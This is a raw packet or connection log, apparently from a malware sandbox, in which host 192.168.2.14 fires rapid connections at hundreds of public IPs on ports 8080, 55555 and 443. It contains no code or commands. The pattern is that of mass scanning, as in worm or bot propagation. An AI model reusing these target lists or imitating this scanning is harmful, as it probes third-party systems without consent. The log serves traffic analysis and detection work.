Mar 21, 2024 05:21:09.891746044 CET	17296	8080	192.168.2.14	187.35.65.126
Mar 21, 2024 05:21:09.891751051 CET	17296	8080	192.168.2.14	201.203.229.182
Mar 21, 2024 05:21:09.891760111 CET	17296	8080	192.168.2.14	187.211.174.162
Mar 21, 2024 05:21:09.891767979 CET	17296	8080	192.168.2.14	187.154.36.230
Mar 21, 2024 05:21:09.891781092 CET	17296	8080	192.168.2.14	189.77.202.253
Mar 21, 2024 05:21:09.891796112 CET	17296	8080	192.168.2.14	189.142.84.79
Mar 21, 2024 05:21:09.891809940 CET	17296	8080	192.168.2.14	187.19.114.169
Mar 21, 2024 05:21:09.891824007 CET	17296	8080	192.168.2.14	201.21.140.205
Mar 21, 2024 05:21:09.891834021 CET	17296	8080	192.168.2.14	187.162.253.43
Mar 21, 2024 05:21:09.891841888 CET	17296	8080	192.168.2.14	201.144.22.171
Mar 21, 2024 05:21:09.891850948 CET	17296	8080	192.168.2.14	187.228.185.55
Mar 21, 2024 05:21:09.891872883 CET	17296	8080	192.168.2.14	201.239.90.193
Mar 21, 2024 05:21:09.891877890 CET	17296	8080	192.168.2.14	187.132.225.76
Mar 21, 2024 05:21:09.891885996 CET	17296	8080	192.168.2.14	189.190.21.7
Mar 21, 2024 05:21:09.891901016 CET	17296	8080	192.168.2.14	189.125.156.208
Mar 21, 2024 05:21:09.891913891 CET	17296	8080	192.168.2.14	187.191.38.124
Mar 21, 2024 05:21:09.891931057 CET	17296	8080	192.168.2.14	187.253.145.41
Mar 21, 2024 05:21:09.891942024 CET	17296	8080	192.168.2.14	201.73.5.195
Mar 21, 2024 05:21:09.891969919 CET	17296	8080	192.168.2.14	189.125.250.52
Mar 21, 2024 05:21:09.891974926 CET	17296	8080	192.168.2.14	201.66.216.242
Mar 21, 2024 05:21:09.891985893 CET	17296	8080	192.168.2.14	189.146.76.70
Mar 21, 2024 05:21:09.892008066 CET	17296	8080	192.168.2.14	201.1.182.91
Mar 21, 2024 05:21:09.892021894 CET	17296	8080	192.168.2.14	201.65.109.36
Mar 21, 2024 05:21:09.892040968 CET	17296	8080	192.168.2.14	187.48.142.232
Mar 21, 2024 05:21:09.892055988 CET	17296	8080	192.168.2.14	187.215.119.184
Mar 21, 2024 05:21:09.892062902 CET	17296	8080	192.168.2.14	187.50.223.193
Mar 21, 2024 05:21:09.892085075 CET	17296	8080	192.168.2.14	201.171.119.216
Mar 21, 2024 05:21:09.892102957 CET	17296	8080	192.168.2.14	201.242.222.190
Mar 21, 2024 05:21:09.892102957 CET	17296	8080	192.168.2.14	189.90.41.201
Mar 21, 2024 05:21:09.892107010 CET	17296	8080	192.168.2.14	189.138.246.128
Mar 21, 2024 05:21:09.892117977 CET	17296	8080	192.168.2.14	189.89.90.20
Mar 21, 2024 05:21:09.892131090 CET	17296	8080	192.168.2.14	201.147.161.29
Mar 21, 2024 05:21:09.892144918 CET	17296	8080	192.168.2.14	189.29.192.97
Mar 21, 2024 05:21:09.892160892 CET	17296	8080	192.168.2.14	187.190.122.231
Mar 21, 2024 05:21:09.892174006 CET	17296	8080	192.168.2.14	187.156.179.139
Mar 21, 2024 05:21:09.892187119 CET	17296	8080	192.168.2.14	187.115.173.202
Mar 21, 2024 05:21:09.892194986 CET	17296	8080	192.168.2.14	187.113.142.212
Mar 21, 2024 05:21:09.892214060 CET	17296	8080	192.168.2.14	189.106.152.24
Mar 21, 2024 05:21:09.892227888 CET	17296	8080	192.168.2.14	189.72.18.29
Mar 21, 2024 05:21:09.892242908 CET	17296	8080	192.168.2.14	189.167.79.53
Mar 21, 2024 05:21:09.892266989 CET	17296	8080	192.168.2.14	201.52.235.232
Mar 21, 2024 05:21:09.892272949 CET	17296	8080	192.168.2.14	187.150.236.145
Mar 21, 2024 05:21:09.892292023 CET	17296	8080	192.168.2.14	201.160.128.39
Mar 21, 2024 05:21:09.892318964 CET	17296	8080	192.168.2.14	201.139.134.146
Mar 21, 2024 05:21:09.892333031 CET	17296	8080	192.168.2.14	189.237.3.11
Mar 21, 2024 05:21:09.892344952 CET	17296	8080	192.168.2.14	201.242.231.52
Mar 21, 2024 05:21:09.892355919 CET	17296	8080	192.168.2.14	187.189.252.85
Mar 21, 2024 05:21:09.892366886 CET	17296	8080	192.168.2.14	187.107.30.43
Mar 21, 2024 05:21:09.892375946 CET	17296	8080	192.168.2.14	201.22.63.218
Mar 21, 2024 05:21:09.892393112 CET	17296	8080	192.168.2.14	201.49.163.22
Mar 21, 2024 05:21:09.892406940 CET	17296	8080	192.168.2.14	189.125.245.142
Mar 21, 2024 05:21:09.892421961 CET	17296	8080	192.168.2.14	201.28.167.173
Mar 21, 2024 05:21:09.892429113 CET	17296	8080	192.168.2.14	201.179.160.236
Mar 21, 2024 05:21:09.892440081 CET	17296	8080	192.168.2.14	187.195.152.245
Mar 21, 2024 05:21:09.892457008 CET	17296	8080	192.168.2.14	187.33.140.11
Mar 21, 2024 05:21:09.892469883 CET	17296	8080	192.168.2.14	189.191.97.1
Mar 21, 2024 05:21:09.892484903 CET	17296	8080	192.168.2.14	189.134.170.101
Mar 21, 2024 05:21:09.892498970 CET	17296	8080	192.168.2.14	201.170.28.230
Mar 21, 2024 05:21:09.892513037 CET	17296	8080	192.168.2.14	189.150.75.228
Mar 21, 2024 05:21:09.892519951 CET	17296	8080	192.168.2.14	201.175.164.109
Mar 21, 2024 05:21:09.892530918 CET	17296	8080	192.168.2.14	201.240.87.13
Mar 21, 2024 05:21:09.892543077 CET	17296	8080	192.168.2.14	187.155.255.91
Mar 21, 2024 05:21:09.892554045 CET	17296	8080	192.168.2.14	201.98.3.160
Mar 21, 2024 05:21:09.892554045 CET	17296	8080	192.168.2.14	201.165.113.246
Mar 21, 2024 05:21:09.892554045 CET	17296	8080	192.168.2.14	189.245.198.213
Mar 21, 2024 05:21:09.892565012 CET	17296	8080	192.168.2.14	187.155.55.34
Mar 21, 2024 05:21:09.892574072 CET	17296	8080	192.168.2.14	201.129.81.154
Mar 21, 2024 05:21:09.892585039 CET	17296	8080	192.168.2.14	189.181.146.46
Mar 21, 2024 05:21:09.892601013 CET	17296	8080	192.168.2.14	189.99.255.163
Mar 21, 2024 05:21:09.892615080 CET	17296	8080	192.168.2.14	189.85.207.170
Mar 21, 2024 05:21:09.892628908 CET	17296	8080	192.168.2.14	189.31.153.198
Mar 21, 2024 05:21:09.892644882 CET	17296	8080	192.168.2.14	201.186.3.88
Mar 21, 2024 05:21:09.892658949 CET	17296	8080	192.168.2.14	189.21.101.235
Mar 21, 2024 05:21:09.892666101 CET	17296	8080	192.168.2.14	201.157.33.153
Mar 21, 2024 05:21:09.892682076 CET	17296	8080	192.168.2.14	201.107.174.228
Mar 21, 2024 05:21:09.893620014 CET	17307	55555	192.168.2.14	98.42.214.114
Mar 21, 2024 05:21:09.893657923 CET	17296	8080	192.168.2.14	189.97.95.1
Mar 21, 2024 05:21:09.893657923 CET	17307	55555	192.168.2.14	98.85.238.184
Mar 21, 2024 05:21:09.893707991 CET	17307	55555	192.168.2.14	172.132.85.125
Mar 21, 2024 05:21:09.893729925 CET	17307	55555	192.168.2.14	98.89.27.182
Mar 21, 2024 05:21:09.893780947 CET	17307	55555	192.168.2.14	184.102.129.101
Mar 21, 2024 05:21:09.893800974 CET	17307	55555	192.168.2.14	98.37.193.218
Mar 21, 2024 05:21:09.893809080 CET	17307	55555	192.168.2.14	98.91.43.58
Mar 21, 2024 05:21:09.893817902 CET	17307	55555	192.168.2.14	172.1.160.143
Mar 21, 2024 05:21:09.893837929 CET	17307	55555	192.168.2.14	172.17.37.171
Mar 21, 2024 05:21:09.893851995 CET	17307	55555	192.168.2.14	98.62.39.242
Mar 21, 2024 05:21:09.893866062 CET	17307	55555	192.168.2.14	184.66.9.89
Mar 21, 2024 05:21:09.893882990 CET	17307	55555	192.168.2.14	98.227.73.165
Mar 21, 2024 05:21:09.893902063 CET	17307	55555	192.168.2.14	184.235.171.92
Mar 21, 2024 05:21:09.893920898 CET	17307	55555	192.168.2.14	184.193.34.9
Mar 21, 2024 05:21:09.893932104 CET	17307	55555	192.168.2.14	98.212.137.26
Mar 21, 2024 05:21:09.893949032 CET	17307	55555	192.168.2.14	172.121.183.139
Mar 21, 2024 05:21:09.893961906 CET	17307	55555	192.168.2.14	172.34.210.141
Mar 21, 2024 05:21:09.893978119 CET	17307	55555	192.168.2.14	98.154.157.27
Mar 21, 2024 05:21:09.893984079 CET	17307	55555	192.168.2.14	98.58.108.176
Mar 21, 2024 05:21:09.894001961 CET	17307	55555	192.168.2.14	98.166.188.90
Mar 21, 2024 05:21:09.894012928 CET	17307	55555	192.168.2.14	184.111.51.246
Mar 21, 2024 05:21:09.894016027 CET	17307	55555	192.168.2.14	184.145.169.126
Mar 21, 2024 05:21:09.894027948 CET	17307	55555	192.168.2.14	172.0.170.237
Mar 21, 2024 05:21:09.894046068 CET	17307	55555	192.168.2.14	172.132.67.171
Mar 21, 2024 05:21:09.894052982 CET	17307	55555	192.168.2.14	184.150.215.98
Mar 21, 2024 05:21:09.894069910 CET	17307	55555	192.168.2.14	184.176.85.175
Mar 21, 2024 05:21:09.894077063 CET	17307	55555	192.168.2.14	184.156.238.42
Mar 21, 2024 05:21:09.894110918 CET	17307	55555	192.168.2.14	98.7.79.210
Mar 21, 2024 05:21:09.894115925 CET	17307	55555	192.168.2.14	98.196.31.199
Mar 21, 2024 05:21:09.894143105 CET	17307	55555	192.168.2.14	184.54.101.135
Mar 21, 2024 05:21:09.894161940 CET	17307	55555	192.168.2.14	172.213.156.139
Mar 21, 2024 05:21:09.894171000 CET	17307	55555	192.168.2.14	98.50.73.68
Mar 21, 2024 05:21:09.894171953 CET	17307	55555	192.168.2.14	172.157.44.111
Mar 21, 2024 05:21:09.894184113 CET	17307	55555	192.168.2.14	172.247.168.9
Mar 21, 2024 05:21:09.894196987 CET	17307	55555	192.168.2.14	184.232.235.233
Mar 21, 2024 05:21:09.894207954 CET	17307	55555	192.168.2.14	172.253.179.176
Mar 21, 2024 05:21:09.894217014 CET	17307	55555	192.168.2.14	98.230.140.46
Mar 21, 2024 05:21:09.894227028 CET	17307	55555	192.168.2.14	98.64.234.175
Mar 21, 2024 05:21:09.894246101 CET	17307	55555	192.168.2.14	98.69.44.238
Mar 21, 2024 05:21:09.894257069 CET	17307	55555	192.168.2.14	98.91.101.113
Mar 21, 2024 05:21:09.894267082 CET	17307	55555	192.168.2.14	172.51.236.164
Mar 21, 2024 05:21:09.894283056 CET	17307	55555	192.168.2.14	172.167.11.190
Mar 21, 2024 05:21:09.894298077 CET	17307	55555	192.168.2.14	172.183.77.213
Mar 21, 2024 05:21:09.894305944 CET	17307	55555	192.168.2.14	184.40.247.155
Mar 21, 2024 05:21:09.894324064 CET	17307	55555	192.168.2.14	184.155.224.196
Mar 21, 2024 05:21:09.894335032 CET	17307	55555	192.168.2.14	98.50.10.140
Mar 21, 2024 05:21:09.894350052 CET	17307	55555	192.168.2.14	184.73.188.94
Mar 21, 2024 05:21:09.894376993 CET	17307	55555	192.168.2.14	184.45.1.119
Mar 21, 2024 05:21:09.894390106 CET	17307	55555	192.168.2.14	184.30.157.74
Mar 21, 2024 05:21:09.894409895 CET	17307	55555	192.168.2.14	172.75.239.122
Mar 21, 2024 05:21:09.894423962 CET	17307	55555	192.168.2.14	184.85.156.111
Mar 21, 2024 05:21:09.894432068 CET	17307	55555	192.168.2.14	98.142.106.142
Mar 21, 2024 05:21:09.894452095 CET	17307	55555	192.168.2.14	98.255.200.25
Mar 21, 2024 05:21:09.894517899 CET	17307	55555	192.168.2.14	184.65.147.182
Mar 21, 2024 05:21:09.894517899 CET	17307	55555	192.168.2.14	184.58.29.68
Mar 21, 2024 05:21:09.894546032 CET	17307	55555	192.168.2.14	172.128.105.41
Mar 21, 2024 05:21:09.894551039 CET	17307	55555	192.168.2.14	184.19.128.218
Mar 21, 2024 05:21:09.894567966 CET	17307	55555	192.168.2.14	184.154.156.242
Mar 21, 2024 05:21:09.894581079 CET	17307	55555	192.168.2.14	98.242.20.86
Mar 21, 2024 05:21:09.894598007 CET	17307	55555	192.168.2.14	98.203.214.39
Mar 21, 2024 05:21:09.894623995 CET	17307	55555	192.168.2.14	172.21.90.11
Mar 21, 2024 05:21:09.894635916 CET	17307	55555	192.168.2.14	172.112.200.66
Mar 21, 2024 05:21:09.894648075 CET	17307	55555	192.168.2.14	184.52.165.40
Mar 21, 2024 05:21:09.894665003 CET	17307	55555	192.168.2.14	172.5.196.229
Mar 21, 2024 05:21:09.894670963 CET	17307	55555	192.168.2.14	184.183.74.64
Mar 21, 2024 05:21:09.894702911 CET	17307	55555	192.168.2.14	184.212.236.56
Mar 21, 2024 05:21:09.894725084 CET	17307	55555	192.168.2.14	172.91.214.158
Mar 21, 2024 05:21:09.894731998 CET	17307	55555	192.168.2.14	98.221.128.10
Mar 21, 2024 05:21:09.894731998 CET	17307	55555	192.168.2.14	98.5.108.160
Mar 21, 2024 05:21:09.894746065 CET	17307	55555	192.168.2.14	184.246.242.113
Mar 21, 2024 05:21:09.894762039 CET	17307	55555	192.168.2.14	172.255.189.106
Mar 21, 2024 05:21:09.894784927 CET	17307	55555	192.168.2.14	172.46.16.31
Mar 21, 2024 05:21:09.894802094 CET	17307	55555	192.168.2.14	172.41.212.118
Mar 21, 2024 05:21:09.894810915 CET	17307	55555	192.168.2.14	172.116.220.227
Mar 21, 2024 05:21:09.894810915 CET	17307	55555	192.168.2.14	184.188.58.200
Mar 21, 2024 05:21:09.894810915 CET	17307	55555	192.168.2.14	172.176.223.115
Mar 21, 2024 05:21:09.894819021 CET	17307	55555	192.168.2.14	184.116.16.170
Mar 21, 2024 05:21:09.894839048 CET	17307	55555	192.168.2.14	184.10.101.179
Mar 21, 2024 05:21:09.894864082 CET	17307	55555	192.168.2.14	172.119.64.13
Mar 21, 2024 05:21:09.894879103 CET	17307	55555	192.168.2.14	184.242.118.151
Mar 21, 2024 05:21:09.894881010 CET	17307	55555	192.168.2.14	98.236.15.85
Mar 21, 2024 05:21:09.894896030 CET	17307	55555	192.168.2.14	172.13.127.171
Mar 21, 2024 05:21:09.894911051 CET	17307	55555	192.168.2.14	172.2.211.30
Mar 21, 2024 05:21:09.894922018 CET	17307	55555	192.168.2.14	184.65.129.179
Mar 21, 2024 05:21:09.894948006 CET	17307	55555	192.168.2.14	184.176.212.4
Mar 21, 2024 05:21:09.894957066 CET	17307	55555	192.168.2.14	172.55.235.217
Mar 21, 2024 05:21:09.894967079 CET	17307	55555	192.168.2.14	172.253.62.66
Mar 21, 2024 05:21:09.894983053 CET	17307	55555	192.168.2.14	184.75.174.64
Mar 21, 2024 05:21:09.894988060 CET	17307	55555	192.168.2.14	184.199.148.106
Mar 21, 2024 05:21:09.894998074 CET	17307	55555	192.168.2.14	98.4.75.150
Mar 21, 2024 05:21:09.895015001 CET	17307	55555	192.168.2.14	172.238.42.57
Mar 21, 2024 05:21:09.895021915 CET	17307	55555	192.168.2.14	172.84.221.183
Mar 21, 2024 05:21:09.895054102 CET	17307	55555	192.168.2.14	184.14.19.103
Mar 21, 2024 05:21:09.895068884 CET	17307	55555	192.168.2.14	172.106.27.121
Mar 21, 2024 05:21:09.895085096 CET	17307	55555	192.168.2.14	98.39.50.241
Mar 21, 2024 05:21:09.895100117 CET	17307	55555	192.168.2.14	98.226.130.1
Mar 21, 2024 05:21:09.895123005 CET	17307	55555	192.168.2.14	98.228.222.11
Mar 21, 2024 05:21:09.895138025 CET	17307	55555	192.168.2.14	172.133.79.136
Mar 21, 2024 05:21:09.895158052 CET	17307	55555	192.168.2.14	172.84.22.177
Mar 21, 2024 05:21:09.895163059 CET	17307	55555	192.168.2.14	184.29.186.94
Mar 21, 2024 05:21:09.895179033 CET	17307	55555	192.168.2.14	172.185.214.71
Mar 21, 2024 05:21:09.895190001 CET	17307	55555	192.168.2.14	98.108.252.140
Mar 21, 2024 05:21:09.895212889 CET	17307	55555	192.168.2.14	184.61.220.116
Mar 21, 2024 05:21:09.895227909 CET	17307	55555	192.168.2.14	98.52.22.48
Mar 21, 2024 05:21:09.895232916 CET	17307	55555	192.168.2.14	184.40.22.163
Mar 21, 2024 05:21:09.895262957 CET	17307	55555	192.168.2.14	172.125.73.92
Mar 21, 2024 05:21:09.895291090 CET	17307	55555	192.168.2.14	184.248.138.220
Mar 21, 2024 05:21:09.895308018 CET	17307	55555	192.168.2.14	184.93.204.251
Mar 21, 2024 05:21:09.895308018 CET	17307	55555	192.168.2.14	172.239.198.251
Mar 21, 2024 05:21:09.895312071 CET	17307	55555	192.168.2.14	172.43.222.113
Mar 21, 2024 05:21:09.895315886 CET	17307	55555	192.168.2.14	98.121.62.246
Mar 21, 2024 05:21:09.895328999 CET	17307	55555	192.168.2.14	184.10.211.154
Mar 21, 2024 05:21:09.895339012 CET	17307	55555	192.168.2.14	98.141.74.233
Mar 21, 2024 05:21:09.895369053 CET	17307	55555	192.168.2.14	184.226.10.118
Mar 21, 2024 05:21:09.895384073 CET	17307	55555	192.168.2.14	98.214.249.170
Mar 21, 2024 05:21:09.895399094 CET	17307	55555	192.168.2.14	172.138.157.93
Mar 21, 2024 05:21:09.895407915 CET	17307	55555	192.168.2.14	184.161.132.199
Mar 21, 2024 05:21:09.895416021 CET	17307	55555	192.168.2.14	184.49.205.92
Mar 21, 2024 05:21:09.895431995 CET	17307	55555	192.168.2.14	98.152.2.74
Mar 21, 2024 05:21:09.895456076 CET	17307	55555	192.168.2.14	184.28.84.251
Mar 21, 2024 05:21:09.895472050 CET	17307	55555	192.168.2.14	98.216.193.86
Mar 21, 2024 05:21:09.895487070 CET	17307	55555	192.168.2.14	172.79.16.202
Mar 21, 2024 05:21:09.895495892 CET	17307	55555	192.168.2.14	172.164.175.105
Mar 21, 2024 05:21:09.895524025 CET	17307	55555	192.168.2.14	98.34.55.88
Mar 21, 2024 05:21:09.895539999 CET	17307	55555	192.168.2.14	172.127.199.202
Mar 21, 2024 05:21:09.895555973 CET	17307	55555	192.168.2.14	184.12.196.162
Mar 21, 2024 05:21:09.895562887 CET	17307	55555	192.168.2.14	172.88.17.108
Mar 21, 2024 05:21:09.895586014 CET	17307	55555	192.168.2.14	184.198.236.152
Mar 21, 2024 05:21:09.895607948 CET	17307	55555	192.168.2.14	172.239.127.29
Mar 21, 2024 05:21:09.895637989 CET	17307	55555	192.168.2.14	172.218.64.24
Mar 21, 2024 05:21:09.895643950 CET	17307	55555	192.168.2.14	98.244.215.118
Mar 21, 2024 05:21:09.895649910 CET	17307	55555	192.168.2.14	98.171.180.152
Mar 21, 2024 05:21:09.895672083 CET	17307	55555	192.168.2.14	184.85.78.243
Mar 21, 2024 05:21:09.895685911 CET	17307	55555	192.168.2.14	172.86.126.191
Mar 21, 2024 05:21:09.895695925 CET	17307	55555	192.168.2.14	172.37.231.207
Mar 21, 2024 05:21:09.895719051 CET	17307	55555	192.168.2.14	184.23.13.244
Mar 21, 2024 05:21:09.895723104 CET	17307	55555	192.168.2.14	184.98.107.18
Mar 21, 2024 05:21:09.895724058 CET	17307	55555	192.168.2.14	98.40.66.95
Mar 21, 2024 05:21:09.895752907 CET	17307	55555	192.168.2.14	184.18.147.59
Mar 21, 2024 05:21:09.895752907 CET	17307	55555	192.168.2.14	184.216.245.207
Mar 21, 2024 05:21:09.895762920 CET	17307	55555	192.168.2.14	98.43.50.214
Mar 21, 2024 05:21:09.895775080 CET	17307	55555	192.168.2.14	172.136.84.29
Mar 21, 2024 05:21:09.895803928 CET	17307	55555	192.168.2.14	184.190.170.123
Mar 21, 2024 05:21:09.895819902 CET	17307	55555	192.168.2.14	172.69.140.120
Mar 21, 2024 05:21:09.895839930 CET	17307	55555	192.168.2.14	184.192.42.168
Mar 21, 2024 05:21:09.895840883 CET	17307	55555	192.168.2.14	184.6.18.190
Mar 21, 2024 05:21:09.895852089 CET	17307	55555	192.168.2.14	172.132.207.203
Mar 21, 2024 05:21:09.895853043 CET	17307	55555	192.168.2.14	172.41.71.92
Mar 21, 2024 05:21:09.895855904 CET	17307	55555	192.168.2.14	98.151.181.162
Mar 21, 2024 05:21:09.895881891 CET	17307	55555	192.168.2.14	184.196.80.125
Mar 21, 2024 05:21:09.895898104 CET	17307	55555	192.168.2.14	98.243.1.151
Mar 21, 2024 05:21:09.895900965 CET	17307	55555	192.168.2.14	172.8.27.147
Mar 21, 2024 05:21:09.895916939 CET	17307	55555	192.168.2.14	172.230.139.246
Mar 21, 2024 05:21:09.895925045 CET	17307	55555	192.168.2.14	184.125.123.50
Mar 21, 2024 05:21:09.895941019 CET	17307	55555	192.168.2.14	184.30.67.220
Mar 21, 2024 05:21:09.895967960 CET	17307	55555	192.168.2.14	98.168.251.34
Mar 21, 2024 05:21:09.895978928 CET	17307	55555	192.168.2.14	184.190.53.254
Mar 21, 2024 05:21:09.895997047 CET	17307	55555	192.168.2.14	98.67.202.5
Mar 21, 2024 05:21:09.896003008 CET	17307	55555	192.168.2.14	172.49.17.26
Mar 21, 2024 05:21:09.896008968 CET	17307	55555	192.168.2.14	184.80.87.230
Mar 21, 2024 05:21:09.896015882 CET	17307	55555	192.168.2.14	184.236.189.48
Mar 21, 2024 05:21:09.896040916 CET	17307	55555	192.168.2.14	98.12.248.94
Mar 21, 2024 05:21:09.896073103 CET	17307	55555	192.168.2.14	184.195.204.89
Mar 21, 2024 05:21:09.896073103 CET	17307	55555	192.168.2.14	184.59.255.118
Mar 21, 2024 05:21:09.896079063 CET	17307	55555	192.168.2.14	98.183.186.168
Mar 21, 2024 05:21:09.896091938 CET	17307	55555	192.168.2.14	184.254.30.16
Mar 21, 2024 05:21:09.896107912 CET	17307	55555	192.168.2.14	98.97.59.100
Mar 21, 2024 05:21:09.896114111 CET	17307	55555	192.168.2.14	98.231.162.153
Mar 21, 2024 05:21:09.896127939 CET	17307	55555	192.168.2.14	184.65.41.61
Mar 21, 2024 05:21:09.896151066 CET	17307	55555	192.168.2.14	98.172.246.115
Mar 21, 2024 05:21:09.896168947 CET	17307	55555	192.168.2.14	172.169.48.87
Mar 21, 2024 05:21:09.896192074 CET	17307	55555	192.168.2.14	98.39.36.133
Mar 21, 2024 05:21:09.896193981 CET	17307	55555	192.168.2.14	184.197.230.234
Mar 21, 2024 05:21:09.896209002 CET	17307	55555	192.168.2.14	184.16.231.128
Mar 21, 2024 05:21:09.896234989 CET	17307	55555	192.168.2.14	172.214.252.0
Mar 21, 2024 05:21:09.896239042 CET	17307	55555	192.168.2.14	172.244.28.70
Mar 21, 2024 05:21:09.896248102 CET	17307	55555	192.168.2.14	184.33.26.100
Mar 21, 2024 05:21:09.896262884 CET	17307	55555	192.168.2.14	98.22.187.41
Mar 21, 2024 05:21:09.896270990 CET	17307	55555	192.168.2.14	172.81.213.36
Mar 21, 2024 05:21:09.896291971 CET	17307	55555	192.168.2.14	98.206.15.114
Mar 21, 2024 05:21:09.896318913 CET	17307	55555	192.168.2.14	98.122.126.145
Mar 21, 2024 05:21:09.896348953 CET	17307	55555	192.168.2.14	184.136.14.155
Mar 21, 2024 05:21:09.896365881 CET	17307	55555	192.168.2.14	184.53.54.191
Mar 21, 2024 05:21:09.896369934 CET	17307	55555	192.168.2.14	98.218.77.15
Mar 21, 2024 05:21:09.896403074 CET	17307	55555	192.168.2.14	184.130.187.7
Mar 21, 2024 05:21:09.896408081 CET	17307	55555	192.168.2.14	184.164.175.215
Mar 21, 2024 05:21:09.896420002 CET	17307	55555	192.168.2.14	172.80.245.101
Mar 21, 2024 05:21:09.896436930 CET	17307	55555	192.168.2.14	98.115.209.255
Mar 21, 2024 05:21:09.896447897 CET	17307	55555	192.168.2.14	184.248.45.108
Mar 21, 2024 05:21:09.896456003 CET	17307	55555	192.168.2.14	98.221.49.72
Mar 21, 2024 05:21:09.896472931 CET	17307	55555	192.168.2.14	184.251.92.97
Mar 21, 2024 05:21:09.896492004 CET	17307	55555	192.168.2.14	98.150.83.229
Mar 21, 2024 05:21:09.896509886 CET	17307	55555	192.168.2.14	172.244.67.160
Mar 21, 2024 05:21:09.896523952 CET	17307	55555	192.168.2.14	98.96.103.184
Mar 21, 2024 05:21:09.896537066 CET	17307	55555	192.168.2.14	184.115.41.3
Mar 21, 2024 05:21:09.896579981 CET	17307	55555	192.168.2.14	172.132.8.96
Mar 21, 2024 05:21:09.896593094 CET	17307	55555	192.168.2.14	172.177.166.228
Mar 21, 2024 05:21:09.896606922 CET	17307	55555	192.168.2.14	184.142.180.131
Mar 21, 2024 05:21:09.896606922 CET	17307	55555	192.168.2.14	172.21.244.202
Mar 21, 2024 05:21:09.896621943 CET	17307	55555	192.168.2.14	172.175.107.238
Mar 21, 2024 05:21:09.896625042 CET	17307	55555	192.168.2.14	184.66.67.198
Mar 21, 2024 05:21:09.896625042 CET	17307	55555	192.168.2.14	98.137.76.86
Mar 21, 2024 05:21:09.896651030 CET	17307	55555	192.168.2.14	98.146.249.252
Mar 21, 2024 05:21:09.896665096 CET	17307	55555	192.168.2.14	98.61.118.0
Mar 21, 2024 05:21:09.896677017 CET	17307	55555	192.168.2.14	184.4.110.179
Mar 21, 2024 05:21:09.896687031 CET	17307	55555	192.168.2.14	184.196.128.24
Mar 21, 2024 05:21:09.896694899 CET	17307	55555	192.168.2.14	184.161.185.200
Mar 21, 2024 05:21:09.896779060 CET	17297	443	192.168.2.14	212.131.165.182
Mar 21, 2024 05:21:09.896794081 CET	17297	443	192.168.2.14	118.145.236.160
Mar 21, 2024 05:21:09.896800995 CET	443	17297	212.131.165.182	192.168.2.14
Mar 21, 2024 05:21:09.896811008 CET	443	17297	118.145.236.160	192.168.2.14
Mar 21, 2024 05:21:09.896820068 CET	17297	443	192.168.2.14	42.130.102.246
Mar 21, 2024 05:21:09.896833897 CET	17297	443	192.168.2.14	178.149.8.239
Mar 21, 2024 05:21:09.896836996 CET	443	17297	42.130.102.246	192.168.2.14
Mar 21, 2024 05:21:09.896836996 CET	17297	443	192.168.2.14	5.78.148.79
Mar 21, 2024 05:21:09.896846056 CET	443	17297	5.78.148.79	192.168.2.14
Mar 21, 2024 05:21:09.896850109 CET	17297	443	192.168.2.14	212.131.165.182
Mar 21, 2024 05:21:09.896850109 CET	443	17297	178.149.8.239	192.168.2.14
Mar 21, 2024 05:21:09.896873951 CET	17297	443	192.168.2.14	212.145.48.169
Mar 21, 2024 05:21:09.896888018 CET	17297	443	192.168.2.14	178.149.8.239
Mar 21, 2024 05:21:09.896888971 CET	443	17297	212.145.48.169	192.168.2.14
Mar 21, 2024 05:21:09.896893024 CET	17297	443	192.168.2.14	118.145.236.160
Mar 21, 2024 05:21:09.896899939 CET	17297	443	192.168.2.14	42.130.102.246
Mar 21, 2024 05:21:09.896905899 CET	17297	443	192.168.2.14	2.207.8.203
Mar 21, 2024 05:21:09.896914005 CET	443	17297	2.207.8.203	192.168.2.14
Mar 21, 2024 05:21:09.896922112 CET	17297	443	192.168.2.14	5.78.148.79
Mar 21, 2024 05:21:09.896931887 CET	17297	443	192.168.2.14	212.145.48.169
Mar 21, 2024 05:21:09.896948099 CET	17297	443	192.168.2.14	94.228.223.9
Mar 21, 2024 05:21:09.896950960 CET	17297	443	192.168.2.14	2.207.8.203
Mar 21, 2024 05:21:09.896960020 CET	17297	443	192.168.2.14	210.68.66.175
Mar 21, 2024 05:21:09.896962881 CET	443	17297	94.228.223.9	192.168.2.14
Mar 21, 2024 05:21:09.896970034 CET	443	17297	210.68.66.175	192.168.2.14
Mar 21, 2024 05:21:09.896979094 CET	17297	443	192.168.2.14	5.98.123.19
Mar 21, 2024 05:21:09.896986008 CET	443	17297	5.98.123.19	192.168.2.14
Mar 21, 2024 05:21:09.896991968 CET	17297	443	192.168.2.14	94.23.250.71
Mar 21, 2024 05:21:09.896991968 CET	17297	443	192.168.2.14	94.228.223.9
Mar 21, 2024 05:21:09.896997929 CET	17297	443	192.168.2.14	118.123.119.255
Mar 21, 2024 05:21:09.897000074 CET	443	17297	94.23.250.71	192.168.2.14
Mar 21, 2024 05:21:09.897005081 CET	443	17297	118.123.119.255	192.168.2.14
Mar 21, 2024 05:21:09.897015095 CET	17297	443	192.168.2.14	210.68.66.175
Mar 21, 2024 05:21:09.897028923 CET	17297	443	192.168.2.14	5.98.123.19
Mar 21, 2024 05:21:09.897042990 CET	17297	443	192.168.2.14	118.123.119.255
Mar 21, 2024 05:21:09.897057056 CET	17297	443	192.168.2.14	94.23.250.71
Mar 21, 2024 05:21:09.897063971 CET	17297	443	192.168.2.14	37.98.100.150
Mar 21, 2024 05:21:09.897068977 CET	443	17297	37.98.100.150	192.168.2.14
Mar 21, 2024 05:21:09.897085905 CET	17297	443	192.168.2.14	79.74.107.108
Mar 21, 2024 05:21:09.897092104 CET	443	17297	79.74.107.108	192.168.2.14
Mar 21, 2024 05:21:09.897099972 CET	17297	443	192.168.2.14	37.98.100.150
Mar 21, 2024 05:21:09.897113085 CET	17297	443	192.168.2.14	109.65.106.106
Mar 21, 2024 05:21:09.897119045 CET	443	17297	109.65.106.106	192.168.2.14
Mar 21, 2024 05:21:09.897138119 CET	17297	443	192.168.2.14	79.74.107.108
Mar 21, 2024 05:21:09.897152901 CET	17297	443	192.168.2.14	109.65.106.106
Mar 21, 2024 05:21:09.897156954 CET	17297	443	192.168.2.14	42.166.80.123
Mar 21, 2024 05:21:09.897164106 CET	443	17297	42.166.80.123	192.168.2.14
Mar 21, 2024 05:21:09.897166967 CET	17297	443	192.168.2.14	79.139.64.227
Mar 21, 2024 05:21:09.897181988 CET	17297	443	192.168.2.14	2.25.87.130
Mar 21, 2024 05:21:09.897182941 CET	443	17297	79.139.64.227	192.168.2.14
Mar 21, 2024 05:21:09.897187948 CET	443	17297	2.25.87.130	192.168.2.14
